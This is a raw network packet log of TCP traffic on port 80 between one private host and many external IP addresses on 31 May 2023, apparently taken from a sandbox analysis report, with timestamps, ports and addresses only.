May 31, 2023 14:50:41.331948996 CEST	80	49944	104.26.3.124	192.168.2.3
May 31, 2023 14:50:41.379443884 CEST	80	49908	195.78.66.50	192.168.2.3
May 31, 2023 14:50:41.379631042 CEST	49908	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:41.438247919 CEST	80	49943	122.128.109.107	192.168.2.3
May 31, 2023 14:50:41.439368963 CEST	80	49943	122.128.109.107	192.168.2.3
May 31, 2023 14:50:41.439399004 CEST	80	49943	122.128.109.107	192.168.2.3
May 31, 2023 14:50:41.439419031 CEST	80	49943	122.128.109.107	192.168.2.3
May 31, 2023 14:50:41.439486027 CEST	49943	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:41.439526081 CEST	49943	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:41.439666986 CEST	80	49943	122.128.109.107	192.168.2.3
May 31, 2023 14:50:41.439687967 CEST	80	49943	122.128.109.107	192.168.2.3
May 31, 2023 14:50:41.439706087 CEST	80	49943	122.128.109.107	192.168.2.3
May 31, 2023 14:50:41.439718962 CEST	49943	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:41.439733982 CEST	80	49943	122.128.109.107	192.168.2.3
May 31, 2023 14:50:41.439745903 CEST	49943	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:41.439759970 CEST	80	49943	122.128.109.107	192.168.2.3
May 31, 2023 14:50:41.439774990 CEST	80	49943	122.128.109.107	192.168.2.3
May 31, 2023 14:50:41.439784050 CEST	49943	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:41.439824104 CEST	49943	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:41.501760960 CEST	80	49944	104.26.3.124	192.168.2.3
May 31, 2023 14:50:41.501817942 CEST	80	49944	104.26.3.124	192.168.2.3
May 31, 2023 14:50:41.502038002 CEST	49944	80	192.168.2.3	104.26.3.124
May 31, 2023 14:50:41.779546022 CEST	49945	80	192.168.2.3	210.140.73.39
May 31, 2023 14:50:41.795684099 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.815294981 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.815428019 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.815781116 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.835319042 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.876032114 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.876068115 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.876087904 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.876107931 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.876127005 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.876144886 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.876162052 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.876204967 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.876286030 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.877307892 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.877341032 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.877361059 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.877389908 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.877454042 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.895992994 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896034956 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896054983 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896068096 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896078110 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896091938 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896111012 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896130085 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896148920 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896168947 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896188021 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896208048 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896217108 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.896222115 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896241903 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896275997 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896282911 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.896306992 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.896333933 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.896929026 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896959066 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896979094 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.896997929 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.897027016 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.897047997 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.897058964 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.897068977 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.897131920 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.915899038 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.915930986 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.915951014 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.915970087 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.915988922 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.916008949 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.916028023 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.916049004 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:41.916167974 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.916245937 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.916829109 CEST	49946	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:41.936501026 CEST	80	49946	193.70.68.254	192.168.2.3
May 31, 2023 14:50:42.035628080 CEST	49933	80	192.168.2.3	198.100.146.220
May 31, 2023 14:50:42.060153961 CEST	49947	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:42.233454943 CEST	80	49947	107.180.98.101	192.168.2.3
May 31, 2023 14:50:42.233645916 CEST	49947	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:42.252002954 CEST	49947	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:42.424928904 CEST	80	49947	107.180.98.101	192.168.2.3
May 31, 2023 14:50:42.430768967 CEST	80	49947	107.180.98.101	192.168.2.3
May 31, 2023 14:50:42.430902958 CEST	49947	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:42.430989027 CEST	49947	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:42.519177914 CEST	49948	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:42.546655893 CEST	80	49948	185.53.177.50	192.168.2.3
May 31, 2023 14:50:42.546874046 CEST	49948	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:42.574273109 CEST	80	49948	185.53.177.50	192.168.2.3
May 31, 2023 14:50:42.574474096 CEST	49948	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:42.601871967 CEST	80	49948	185.53.177.50	192.168.2.3
May 31, 2023 14:50:42.603926897 CEST	80	49947	107.180.98.101	192.168.2.3
May 31, 2023 14:50:42.820863008 CEST	80	49948	185.53.177.50	192.168.2.3
May 31, 2023 14:50:42.820904016 CEST	80	49948	185.53.177.50	192.168.2.3
May 31, 2023 14:50:42.820924044 CEST	80	49948	185.53.177.50	192.168.2.3
May 31, 2023 14:50:42.820945024 CEST	49948	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:42.820955038 CEST	80	49948	185.53.177.50	192.168.2.3
May 31, 2023 14:50:42.820985079 CEST	49948	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:42.821006060 CEST	49948	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:43.377691984 CEST	80	49929	162.43.120.128	192.168.2.3
May 31, 2023 14:50:43.377968073 CEST	49929	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:43.477252007 CEST	80	49852	104.196.26.65	192.168.2.3
May 31, 2023 14:50:43.477458954 CEST	49852	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:44.027703047 CEST	80	49884	170.82.173.30	192.168.2.3
May 31, 2023 14:50:44.027992010 CEST	49884	80	192.168.2.3	170.82.173.30
May 31, 2023 14:50:44.353785038 CEST	49949	80	192.168.2.3	34.228.163.56
May 31, 2023 14:50:44.426623106 CEST	49937	80	192.168.2.3	96.91.204.114
May 31, 2023 14:50:44.499188900 CEST	80	49949	34.228.163.56	192.168.2.3
May 31, 2023 14:50:44.499416113 CEST	49949	80	192.168.2.3	34.228.163.56
May 31, 2023 14:50:44.499895096 CEST	49949	80	192.168.2.3	34.228.163.56
May 31, 2023 14:50:44.534087896 CEST	80	49942	66.94.119.160	192.168.2.3
May 31, 2023 14:50:44.534238100 CEST	49942	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:44.646989107 CEST	80	49949	34.228.163.56	192.168.2.3
May 31, 2023 14:50:44.647496939 CEST	80	49949	34.228.163.56	192.168.2.3
May 31, 2023 14:50:44.647517920 CEST	80	49949	34.228.163.56	192.168.2.3
May 31, 2023 14:50:44.647537947 CEST	80	49949	34.228.163.56	192.168.2.3
May 31, 2023 14:50:44.647557020 CEST	80	49949	34.228.163.56	192.168.2.3
May 31, 2023 14:50:44.647574902 CEST	80	49949	34.228.163.56	192.168.2.3
May 31, 2023 14:50:44.647602081 CEST	49949	80	192.168.2.3	34.228.163.56
May 31, 2023 14:50:44.647658110 CEST	49949	80	192.168.2.3	34.228.163.56
May 31, 2023 14:50:44.647677898 CEST	49949	80	192.168.2.3	34.228.163.56
May 31, 2023 14:50:44.778142929 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:44.903080940 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:44.903368950 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:44.903791904 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:44.926565886 CEST	49945	80	192.168.2.3	210.140.73.39
May 31, 2023 14:50:45.028512001 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.359684944 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.359721899 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.359741926 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.359755993 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.359769106 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.359793901 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.359816074 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.359834909 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.359854937 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.359942913 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.360011101 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.364465952 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.364604950 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.404314995 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.423767090 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.424034119 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.424510956 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.443869114 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.484697104 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.484739065 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.484759092 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.484774113 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.484788895 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.484807968 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.484827042 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.484844923 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.484863043 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.484880924 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.484900951 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.484919071 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.484936953 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.484955072 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.484972000 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.485129118 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.485204935 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.531055927 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.531116009 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.531136990 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.531152010 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.531174898 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.531466961 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.564404964 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.564445019 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.564465046 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.564475060 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.564651012 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.592381954 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.592416048 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.592433929 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.592505932 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.592622042 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.592638016 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.592704058 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.592704058 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.592758894 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.592808008 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.592874050 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.592933893 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.592988968 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.593046904 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.593118906 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.593179941 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.593199015 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.593242884 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.609965086 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610027075 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610047102 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610068083 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610088110 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610126019 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610146046 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610166073 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610183954 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610203981 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610223055 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610241890 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610260963 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610280991 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610299110 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610317945 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610337973 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610337019 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.610357046 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610378981 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610399008 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610400915 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.610419989 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610440016 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610440969 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.610460997 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610466957 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.610482931 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610502005 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.610503912 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610523939 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610534906 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.610544920 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610558987 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.610565901 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610585928 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610591888 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.610608101 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.610614061 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.610640049 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.613220930 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.613257885 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.613312960 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.613379955 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.613379955 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.613428116 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.613493919 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.613560915 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.613610029 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.613631010 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.613672018 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.613754988 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.613810062 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.613879919 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.613944054 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.613991976 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.614063978 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.614130974 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.614154100 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.614195108 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.614224911 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.614265919 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.614322901 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.614392996 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.614445925 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.614515066 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.614564896 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.614638090 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.614681005 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.614753962 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.614799023 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.614828110 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.614870071 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.614916086 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.614962101 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.615036964 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.615093946 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.615160942 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.615207911 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.632894039 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.632930040 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.632947922 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.633090019 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.633086920 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.633157015 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.633167028 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.633214951 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.633284092 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.633349895 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.633359909 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.633409977 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.633519888 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.633574009 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.633640051 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.633693933 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.633721113 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.633768082 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.633838892 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.633892059 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.633959055 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.634011030 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.634042025 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.634093046 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.634160995 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.634213924 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.634289026 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.634339094 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.634342909 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.634397030 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.634490013 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.634546995 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.634645939 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.634701014 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.634721041 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.634768963 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.634799004 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.634855032 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.634969950 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.635027885 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.635039091 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.635088921 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.635162115 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.635224104 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.635279894 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.635334015 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.635401011 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.635453939 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.635507107 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.635559082 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.635591984 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.635644913 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.635699987 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.635751963 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.635807037 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.635862112 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.635930061 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.635988951 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.636054039 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.636112928 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.636173964 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.636231899 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.636358023 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.636380911 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.636418104 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.636444092 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.636456013 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.636503935 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.636607885 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.636662960 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.636665106 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.636715889 CEST	49952	80	192.168.2.3	62.75.216.137
